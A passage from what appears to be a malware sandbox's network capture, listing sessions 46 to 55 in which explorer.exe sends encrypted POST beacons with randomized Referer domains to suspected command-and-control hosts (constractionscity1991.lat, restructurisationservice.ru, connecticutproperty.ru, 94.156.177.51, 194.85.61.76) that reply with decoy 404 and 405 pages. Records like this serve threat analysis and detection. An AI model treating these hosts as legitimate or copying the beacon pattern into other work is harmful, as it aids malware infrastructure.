2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50023	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:06.634035110 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://swhsbooovvrt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: restructurisationservice.ru
Dec 19, 2024 11:01:06.634068966 CET	205	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 83 0d 3b d6 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC);t7{egFO2DIq\|JCyF-g&O)nQGa5gyx%iV7~qDd
Dec 19, 2024 11:01:08.004259109 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50024	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:08.136343956 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://odsnbdoswem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: connecticutproperty.ru
Dec 19, 2024 11:01:08.136374950 CET	119	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e7 46 55 b5 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)FU3S`',O<
Dec 19, 2024 11:01:09.477787971 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:09 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50025	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:14.152884960 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrdgusgumlecx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: constractionscity1991.lat
Dec 19, 2024 11:01:14.152934074 CET	319	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 94 49 70 9f Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)IpZZV>uC=_EaJO7;I+3Bmk~Fpu&`8W-h!oftnNkYK,Y&d[.KMW=53.j
Dec 19, 2024 11:01:15.514272928 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50026	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:15.643481016 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ljmtvjfukirthh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 325 Host: restructurisationservice.ru
Dec 19, 2024 11:01:15.643481016 CET	325	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a7 5f 4b ae Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)_K(UOwH#f4A0q5o^/0Z+.'m@\|1INv(%#:=rye{nD5mJp/l=GuMF\td1}u3@J
Dec 19, 2024 11:01:17.013854027 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50027	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:17.145970106 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vlctchybxmsfmihs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: connecticutproperty.ru
Dec 19, 2024 11:01:17.145992994 CET	332	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 87 1f 25 95 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)%9U3 FdrQXu&b[AX22C{auLHyu[sioaZ [oa)N`10DAXrt&k89>~,9aJ^f8PHp
Dec 19, 2024 11:01:18.481949091 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:18 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50028	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:22.850096941 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sgmoymnkvjycr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: constractionscity1991.lat
Dec 19, 2024 11:01:22.850096941 CET	237	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be fb 06 48 c5 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)H]U@R>8.,- yZm1F+"alFmt\|E$~_D\|rr?uYwU#roTY!~F*Q&f";q5Gn\1,{j5]
Dec 19, 2024 11:01:24.212259054 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50029	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:24.338927984 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nnfjblhdxniepv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: restructurisationservice.ru
Dec 19, 2024 11:01:24.338943005 CET	230	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8e 23 3a c5 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)#:<L,'U-l8@Exj&U/x{nZbN$CdvuV#holnFU^ Tlj5.\g
Dec 19, 2024 11:01:25.693094015 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50030	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:25.834745884 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gwxdktlpqqov.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: connecticutproperty.ru
Dec 19, 2024 11:01:25.834745884 CET	167	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be bd 06 6f db Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)oTvRRwS'~u:g\)19B\S!n^lp?uhUmAF
Dec 19, 2024 11:01:27.174427986 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:26 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50031	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:31.331737995 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ygdgxkxjwyg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 270 Host: constractionscity1991.lat
Dec 19, 2024 11:01:31.334003925 CET	270	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a3 3f 4c 97 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)?LpTwKbdb'D^H [khRm"f6B.Z.pGV\|vMS"@0u`LLsg@}~gd~3+Mw=s_d/T
Dec 19, 2024 11:01:32.784692049 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50032	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:32.910561085 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nqrqvcheqmo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: restructurisationservice.ru
Dec 19, 2024 11:01:32.910592079 CET	169	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be b5 50 33 8c Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)P3{d9C/+y>/(EtC;@4Z9?ESy<k\|mF~nnM
Dec 19, 2024 11:01:34.291301012 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 